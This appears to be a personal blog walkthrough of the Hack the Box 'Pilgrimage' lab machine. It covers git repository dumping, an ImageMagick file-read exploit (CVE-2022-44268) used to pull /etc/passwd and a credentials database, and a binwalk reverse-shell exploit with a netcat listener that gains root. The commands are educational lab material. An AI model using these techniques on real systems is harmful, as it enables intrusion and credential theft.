Building & Breaking Web Applications

Published on

Pilgrimage box art of a hooded figure with a walking stick facing away with a walking path continuing on into the distance. Source: Hack the Box

Before I get into the proper walkthrough, let's start with some context: this was my first full boot to root machine on Hack the Box. It wasn't my plan to jump straight into active, no walkthrough, boxes. I had only just finished the Starting Point path—which if you're new to Hack the Box I highly recommend as the place to begin—originally I was going to start working my way through retired machines, falling back on walkthroughs when I got too stuck.

But I was chatting with a few people on Discord and they mentioned that this box, Pilgrimage, was a properly easy challenge (HTB's ratings often skew higher in difficulty) that was doable for relative newbies. With that, I figured I should give it a shot as a knowledge check, and worst case go back to the original plan if I couldn't solve it.

While it did take a few days to figure this first one out, as is obvious by your reading of this walkthrough I did indeed root the machine and have continued on with the other active boxes since then.

As this is my first proper writeup, I'm experimenting with the format. Rather than a 100% straightforward description of the path I found to root access on the machine I'm including some of the specific stumbling blocks I encountered while working on the box. I believe that's more interesting as an active learning practice for myself, and hopefully useful for you too.

About the box

Pilgrimage was released as part of the Season 2, and rated as an Easy Linux machine. As this was an active box at the time of completing it no other tags were available as hints.

Enumeration

As with any HTB machine we kick off with nmap scans: sudo nmap -sV -sC -p- -min-rate=1000 -oA pilgrimage $ip

[Editor's note: being fresh out of the Starting Point boxes at the time this approach of running service versions and scripts along with a scan of all the ports was my default. Since then I've realized doing it all at once is inefficient and I now handle those flags on later scans after viable ports are identified.]

Linux terminal output showing Nmap scan results with ports 22 and 80 open

Discovered open ports:

  • Port 22: OpenSSH 8.4p1 Debian
  • Port 80: nginx 1.18 server

The scripts scan catches a domain name redirect to pilgrimage.htb, so we'll add that IP to domain mapping into our /etc/hosts/ file.

I also scanned UDP up until port ten thousand, but only a DHCPC service on port 68 was discovered. UDP scans take ages, so while that was going I moved on web enumeration as we have a web server on port 80.

Manual web check

Checking out the website at pilgrimage.htb our home page has a file uploader, and there are also login and registration pages present, which appear to be functional. The core function of the site however is this file uploader, which is supposed to take your file and shrink it, we'll test how this works after enumeration is done.

Website home page titled Pilgrimage with a file upload prompt and a button labeled Shrink

Looking at Wappalyzer the tech stack includes jQuery (2.1.3), jQuery UI (1.11.2), and PHP. Wappalyzer also notes that Niginx is serving as a reverse proxy.

Output from the Wappalyzer browser extension showing names and versions of detected tools in use by the website. Nginx, PHP, and jQuery among others.

A manual walkthrough of the HTML/JS doesn't reveal anything clearly vulnerable, nor are there any errant comments. I do gain more evidence that this is a PHP application as the only cookie is the PHPSESSID.

Directory fuzzing

While performing the manual check I sent the site into the ZAP Spider and Active Scan to see if anything pops early. To supplement the spider I added on a Feroxbuster scan for directory fuzzing, running:

feroxbuster -u http://pilgrimage.htb -t 10 -L 10 -w /path/to/directorylist.txt -o ferox.txt

Feroxbuster directory fuzzing output of any results returning 200, 301, or 302 HTTP response codes.

Interesting directories that stand out are /tmp, while it's a 403 forbidden so I can't confirm, I'm guessing that is where the shrunken files may get sent to after upload. We also have a dashboard.php page, which seems to be behind our login as well.

The ZAP scan picks up a few interesting bits. First, we have three JS libraries that Wappalzyer identified earlier that ZAP identifies as potentially vulnerable, jQuery 2.1.3 (used by the isotope library), jQuery 3.3.1, and jQuery UI 1.11.2. Other than that there is a hidden file accessible at /.git/config, the file itself doesn't reveal anything major, but it is still a vulnerability to have any Git files publicly readable.

Mistakes made, round 1

At this point in the process I thought I had all I could get with enumeration and moved on to testing the app directly and checking the specific files I found. In hindsight there I made two mistakes when I switched tracks:

  1. Taking the scans at face value, having only found one file in the .git directory. When I hit a wall with testing I stepped back and realized I should fuzz the git directory with feroxbuster (same command as before but targeting http://pilgrimage.htb/.git as the base directory), which found an index file.
  2. It hadn't occurred to me to look for git specific exploits or enumeration tools before this box, so I didn't initially reach for the correct tools to check for Git related information disclosure vulnerabilities.

Enumeration continued

With the mistakes in mind, I did end up discovering the tool git-dumper that I used to test if we can grab the whole git repository off the server. I ran git-dumper http://pilgrimage.htb/.git ~/pilgrimage/git-dump to test that, and hello, we have the source code for the web app!

Linux terminal showing the output of the tool git-dumper downloading pilgrimage.htb's git repositoryTerminal output showing the resulting source code PHP files downloaded by git-dumper.

Now we can dive into reviewing the source code to see what our best exploit path is. I'm condensing this section as I did spend a while testing payloads without this information.

dashboard.php

The dashboard's code is short, but it gives us a few pieces of information: that the app has a SQLite database backend, the path to that SQLite database—SQLite is a file based database, so this could turn out to be readable by us— and shows that it tracks images uploaded by username. I doubt this path would have been injectable anyway, and with the use of prepared statements its protected from them so it's extra unlikely to be vulnerable.

function fetchImages() {

  $username = $_SESSION['user'];
  $db = new PDO('sqlite:/var/db/pilgrimage');
  $stmt = $db->prepare("SELECT * FROM images WHERE username = ?");
  $stmt->execute(array($username));
  $allImages = $stmt->fetchAll(\PDO::FETCH_ASSOC);
  return json_encode($allImages);
}

index.php

We have the motherlode here in the code, the exec() call to magick convert confirms the earlier hint about ImageMagik being used, and the use of exec() itself is itself potentially dangerous.

The code also reveals a few other critical pieces of information: the on disk location of the /tmp directory we caught earlier, /var/www/pilgrimage.htb/tmp, the method that is used to rename the files before they are sent to the /shrunk directory, and that this supports JPEG and PNG files for upload.

Also once again the developer used prepared statements in the SQL query, marking another case where SQL injection is not likely as the vector here either.

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $image = new Bulletproof\Image($_FILES);
  if($image["toConvert"]) {
    $image->setLocation("/var/www/pilgrimage.htb/tmp");
    $image->setSize(100, 4000000);
    $image->setMime(array('png','jpeg'));
    $upload = $image->upload();

    if($upload) {
      $mime = ".png";
      $imagePath = $upload->getFullPath();

    if(mime_content_type($imagePath) === "image/jpeg") {
        $mime = ".jpeg";
      }
      $newname = uniqid();
      exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
      unlink($upload->getFullPath());
      $upload_path = "http://pilgrimage.htb/shrunk/" . $newname . $mime;

      if(isset($_SESSION['user'])) {
        $db = new PDO('sqlite:/var/db/pilgrimage');
        $stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)");
        $stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user']));
      }
      header("Location: /?message=" . $upload_path . "&status=success");
    }
    else {
      header("Location: /?message=Image shrink failed&status=fail");
    }
  }
  else {
    header("Location: /?message=Image shrink failed&status=fail");
  }
}

login.php

Our login method here is using a prepared SQL statement, so continuing on the theme from the other files I doubt we can get an SQL injection vulnerability to work.

if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['username'] && $_POST['password']) {
  $username = $_POST['username'];
  $password = $_POST['password'];
  $db = new PDO('sqlite:/var/db/pilgrimage');
  $stmt = $db->prepare("SELECT * FROM users WHERE username = ? and password = ?");
  $stmt->execute(array($username,$password));

  if($stmt->fetchAll()) {
    $_SESSION['user'] = $username;
    header("Location: /dashboard.php");
  }
  else {
    header("Location: /login.php?message=Login failed&status=fail");
  }
}

And since we have the Git repo, I used Git Kraken to look through the commit history for secrets, but there was only one commit and no secrets found.

Web app testing

Starting with our registration page, let's just create a user and see if that works at all. It does, and now we can see a dashboard with the images. No additional cookie parameters are added.

Pilgrimage website Dashboard page with an empty table displaying Original Image Name and Shrunken Image URL headers.

Login page

We know from the source code that SQL injection is unlikely, and some light testing confirmed this to be the case (your basic ' OR 1=1-- ' payload and sending a clean request into SQLmap). ZAP's active scan suggested an XSS might be present, but a) that's unlikely to be relevant here and b) I couldn't replicate it with manual testing anyway.

Mistakes made, round 2

Because of the earlier miss on the discovery of the source code, I ended up researching general vulnerabilities in PHP image resizing libraries (like this method from Synacktiv), and in the initial testing of file uploads spent longer than necessary on unrelated and older vulnerabilities than the one that ultimately worked. I wouldn't consider that part a mistake per se, as it was still good practice, but it reinforced the lesson to try to be exhaustive in the recon phase. I'll cover some of testing below briefly, but much of that exploration has been cut for the sake of some brevity.

File uploads

With the file uploader I started by testing an image. We can send one through, and it outputs a random name at /shrunk which we can see in the dashboard. While the individual file is readable, we don't have access to the underlying directory.

The Pilgrimage website's dashboard, now displaying an uploaded PNG and a link to shrunk URL on pilgrimage.htb.

I checked the requests in ZAP to see if we had any clear ways to exploit the request itself, rather than the submitted file. A few tricks were partly successful, namely smuggling in PHP code within the EXIF data (it uploads, but isn't executable). But because the app renames the file and appends an image extension (.jpg or .png) it removes methods like the null byte as a way to bypass the file type restrictions.

With that avenue blocked, I moved on to what I discovered in the source code: that the uploader uses the magick convert command to perform the image compression, and a quick search gets us the ImageMagick CLI utility.

Here's where my research again hit a bit of a rabbit hole, ImageMagick has had significant past vulnerabilities, and those are well rated in search engines, so I tried earlier vulnerabilities, like the ones described on ImageTragick before a more targeted CVE search on MITRE's CVE site returned a much more recent LFI vulnerability from 2022, CVE-2022-44268, which quickly surfaced existing PoC scripts: one in Python and one in Rust.

A walkthrough by Metabase Q describes the method:

"A malicious actor could craft a PNG or use an existing one and add a textual chunk type (e.g., tEXt). These types have a keyword and a text string. If the keyword is the string “profile” (without quotes) then ImageMagick will interpret the text string as a filename and will load the content as a raw profile, then the attacker can download the resized image which will come with the content of a remote file."

With that context, I went ahead with the Python PoC to see if we could generate a test against the file /etc/passwd.

Exploiting Imagemagick

After cloning down the Python PoC repository making the exploit is straight forward, for our first test python3 generate.py -f /etc/passwd -o exploit.png.

Terminal output of running the Python exploit that generates a PNG payload image.

The image uploads successfully to the site with no problem, and after downloading the shrunk version we can get the tEXt content of the file using the identify -verbose renamed-file.png.

Sidenote: While reading through the output from the command I saw that this also output the version number of ImageMagick (6.9.11-60) as part of the metadata, so we could have used this on any earlier test images and gotten that useful piece of intel way earlier in the process.

Screenshot of a snippet of the hex encoded output from the PNG payload after being shrunk by ImageMagick on the server.

The data is attached in the "Raw profile type" metadata segment as hex, which after tossing it into CyberChef to decode we can see it's our /etc/passwd file. From that we can see that we have a user, emily, which we'll probably have to gain access to later for our user flag.

Screenshot of a CyberChef session with the hex encoded output decoded and highlighting the user emily in the /etc/passwd output.

After confirming we had an LFI I spent a while trying to use it to enumerate other files on the system and while moderately successful, didn't gain additional info that would result in a foothold on the system. Until I went back through my notes and saw the SQlite DB path (/var/db/pilgrimage) call in the source and tested if we could access it. Repeating the exploit with that file as the target we get output, and in fact so much output that my terminal breaks when trying to print to stdout, so I re-ran identify with identify -verbose db-resize.png > pilgrimage-db.txt to get it into a file instead.

Popping the output into CyberChef it looks like a bunch of noise initially, but clearly our SQLite database:

Cropped screenshot of a CyberChef recipe output with the text SQLite format 3 visible from another PNG payload.

And in it we find both the user emily from /etc/passwd, and their password in the clear. Testing this combination against SSH gets us into the system and we have our foothold and the user flag.

Cropped output of the SQLite DB's decoded output showing the username emily and a redacted plain text password.

Foothold Enumeration

SSH session on the Pilgrimage server as the user emily, running the id, whoami, and uname, and sudo commands.

Note: I'm going to limit coverage to an overview of enumeration and specific findings that were useful.

Running our quick manual checks: our user, emily, belongs to only her own group and has no sudo privileges on the machine.

The machine has kernel version 5.10.0-23 (64 bit) running Debian.

World writeable folders include /tmp and the /var/www/pilgrimage.htb/tmp and /shrunk directories.

SUID/SGID binaries are present, but none appear to be vulnerable after checking GTFOBins.

No cronjobs of interest when checking crontab.

Path doesn't look interesting, especially without any cronjobs or SUID binaries to leverage: /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games. Nothing much to report in env either.

With that quick check complete, I switched to using LinPEAS to get wider coverage. Aside from some kernel exploits (which I avoid unless necessary) the bulk of the LinPEAS output confirms my initial findings for those specific vectors. What it does highlight however is a unique looking sequence of processes owned by root which call a bash script malwarescan.sh.

Screenshot of LinPEAS script output with a line from the root owned processes list highlighted with the file malwarescan.sh

And we have read access to the file:

#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
    filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
    binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
        if [[ "$binout" == *"$banned"* ]]; then
            /usr/bin/rm "$filename"
            break
        fi
    done
done

This script sets up a file watcher with inotifywait to catch when files are created in the /shrunk directory on the website and pipes it into binwalk to look for the words "executable script" or "Microsoft Executable." Deleting the file if a string match is found.

Checking the system's binwalk binary we have version 2.3.2.

Privilege Escalation

Sure enough, searching for a binwalk exploit we immediately find one on exploit-db that our version should be vulnerable to.

The exploit's usage is straightforwards, after copying it to the machine running python3 exploit.py [filename.png] [kali-IP] [kali-port] generates a PNG payload in the current directory. Since this is a reverse shell exploit back on the Kali box I setup a quick Netcat listener with nc -lvnp [kali-port] before copying the image into the /var/html/pilgrimage.htb/shrunk directory and waiting for the bash script to catch it.

It took two tries, with a different listening port being the ticket, and we got a connection back and got root access and the flag!

Dual paned terminal screenshot, on the right hand side the binwalk exploit is created and initiated on the server, and on the left a netcat listener catches the payload and confirms root account access was gained.

Takeaways

As I said at the top, this was my first active machine, and very early on in trying proper HTB boxes, so I could write a ton about what I learned from the process. With that said, a few key highlights:

  1. When in doubt when you hit a wall and don't know how to proceed: try to do more recon. Odds are that, as happened to me here, some useful piece of information was missed that could provide the necessary context to move forward. This lesson applies both to enumeration of the machine and any external research.
  2. Speaking of external research: it can be noisy, especially when doing searches of possible exploits without useful ways to narrow them down, in this case having the ImageMagick's version number earlier would have immediately ruled out a slew of older CVEs that I found first and took the time to test.
  3. There'll be more than one way to solve many problems. When I got the database exfiltrated I chose CyberChef because I was familiar with it and in this case it worked out the way I needed it to. But while preparing this walkthrough I read through the official guide and saw that they had decoded the hex output from the PNG using Python and saved the output out as proper SQLite database file, so that the SQLite CLI could be used to query it. In this particular case I think that would have been more work, but for larger data sets that may have been the better play.